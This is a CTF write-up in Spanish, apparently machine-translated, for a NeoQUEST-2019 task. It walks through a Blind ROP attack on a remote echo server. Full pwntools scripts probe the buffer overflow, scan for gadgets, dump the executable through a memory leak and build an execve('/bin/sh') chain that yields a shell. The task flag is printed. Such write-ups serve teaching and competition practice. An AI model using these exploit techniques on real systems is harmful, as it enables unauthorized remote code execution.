😧 😟 🧔🏼 Servidor, ¿me oyes? Ataque BROP en el ejemplo de la tarea NeoQUEST-2019 ❤️ 🎰 🥚

¿Cómo encontrar una vulnerabilidad en un servidor sin información al respecto? ¿En qué se diferencia BROP de ROP? ¿Es posible descargar un archivo ejecutable de un servidor a través de un desbordamiento de búfer? ¡Bienvenido al gato, analizaremos las respuestas a estas preguntas en el ejemplo de pasar la tarea NeoQUEST-2019 !

Se dan la dirección y el puerto del servidor: 213.170.100.211 10000 . Intentemos conectarnos a él:

A primera vista, nada especial, un servidor de eco normal: devuelve lo mismo que nosotros mismos le enviamos.

Después de jugar con el tamaño de los datos transmitidos, puede notar que con una longitud de línea suficientemente larga, el servidor no se pone de pie y termina la conexión:

Hmm, parece un desbordamiento.

Encuentra la longitud del búfer. Simplemente puede iterar sobre los valores, incrementándolos, hasta que obtengamos una salida no estándar del servidor. Y puede mostrar un poco de ingenio y acelerar el proceso mediante la búsqueda binaria, comprobando si el servidor se bloqueó o no cayó después de la siguiente solicitud.

Determinar la longitud del búfer

from pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end) // 2 print("Testing {}".format(curlen)) payload = b'\xff' * curlen conn.send(payload) time.sleep(0.5) r = conn.recv() payload = b'\xff' * (curlen) conn.send(payload) try: r = conn.recv() start = curlen payload = b'\xff' * (curlen + 1) conn.send(payload) time.sleep(0.5) r = conn.recv() conn.send(payload) try: r = conn.recv() except EOFError: print("\nBuffer length is {}".format(curlen), flush=True) return curlen except EOFError: end = curlen return -1

Entonces, la longitud del búfer es de 136. Si envía 136 bytes al servidor, borramos el byte nulo al final de nuestra línea en la pila y obtenemos los datos que lo siguen: el valor es 0x400155. Y esta, aparentemente, es la dirección del remitente. De esta manera, podemos controlar el flujo de ejecución. Pero nosotros no tenemos el archivo ejecutable, y no sabemos dónde se pueden ubicar exactamente los dispositivos ROP que nos permitirían obtener el shell.

¿Qué se puede hacer al respecto?

Existe una técnica especial que le permite resolver este tipo de problema sujeto al control de la dirección de retorno: Programación orientada al retorno a ciegas . En esencia, BROP es un escaneo ciego de un archivo ejecutable para dispositivos. Reescribimos la dirección de retorno con alguna dirección del segmento de texto, establecemos los parámetros para el gadget deseado en la pila y analizamos el comportamiento del programa. Basado en el análisis, nace una suposición ya sea que hayamos adivinado o no. Los dispositivos auxiliares especiales desempeñan un papel importante: detener (su ejecución no conducirá a la finalización del programa) y Trampa (su ejecución hará que el programa finalice). Por lo tanto, al principio se encuentran dispositivos auxiliares y, con su ayuda, ya se buscan los necesarios (por regla general, para llamar a escribir y obtener el archivo ejecutable).

Por ejemplo, queremos encontrar un gadget que ponga un solo valor de la pila en un registro y ret . Registraremos la dirección probada en lugar de la dirección de retorno para transferirle el control. Después de eso, anotamos la dirección del gadget Trap que encontramos anteriormente, y detrás está la dirección del gadget Stop . Lo que finalmente resulta: si el servidor se bloqueó ( Trap funcionó), entonces el gadget se encuentra en la dirección de prueba actual, que no coincide con la buscada: no elimina la dirección del gadget Trap de la pila. Si Stop funcionó, entonces el gadget actual puede ser justo lo que estamos buscando: eliminó un valor de la pila. Por lo tanto, puede buscar gadgets que coincidan con un comportamiento específico.

Pero en este caso, la búsqueda puede simplificarse. Sabemos con certeza que el servidor nos está imprimiendo algún valor en respuesta. Puede intentar escanear varias direcciones en el archivo ejecutable y ver si llegamos al código que muestra la línea nuevamente.

Descubrimiento de gadget

 lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)

¿Cómo podemos obtener el archivo ejecutable usando esta filtración?

Sabemos que el servidor escribe una línea en respuesta. Cuando vamos a la dirección 0x40016f, los parámetros de la función de salida se llenan con algún tipo de basura. Dado que, a juzgar por la dirección de retorno, estamos tratando con un archivo ejecutable de 64 bits, los parámetros de las funciones se encuentran en registros.

Pero, ¿qué sucede si encontramos un dispositivo que nos permita controlar el contenido de los registros (ponerlos allí desde la pila)? Tratemos de encontrarlo usando la misma técnica. Podemos poner cualquier valor en la pila, ¿verdad? Por lo tanto, necesitamos encontrar un gadget pop que ponga nuestro valor en el registro deseado antes de llamar a la función de salida. Establezca la dirección del comienzo del archivo ELF ( 0x400000 ) como la dirección de la cadena. Si encontramos el gadget correcto, entonces el servidor tendrá que imprimir la firma 7F 45 4C 46 en respuesta.

La búsqueda de gadgets continúa

 def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)

Usando el conjunto resultante de direcciones, bombeamos el archivo ejecutable desde el servidor.

Extracción de archivos

 def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None

Vamos a verlo en la IDA:

La dirección 0x40016f nos lleva a syscall , y 0x40017f nos lleva a pop rsi ; ret .

Ahora que tiene un archivo ejecutable a mano, puede construir una cadena ROP. ¡Además, la línea / bin / sh también estaba en ella !

Formamos una cadena que llama al sistema con el argumento / bin / sh . Puede encontrar información sobre las llamadas al sistema en Linux de 64 bits, por ejemplo, aquí .

Último pequeño paso

 def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()

Ejecute el exploit y obtenga el shell:

Victoria!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

Muy pronto, aparecerán vraytaps para las otras tareas de la etapa en línea de NeoQUEST-2019. ¡Y la "confrontación" tendrá lugar el 26 de junio! Las noticias aparecerán en el sitio web del evento, ¡no te lo pierdas!

Servidor, ¿me oyes? Ataque BROP en el ejemplo de la tarea NeoQUEST-2019

More articles: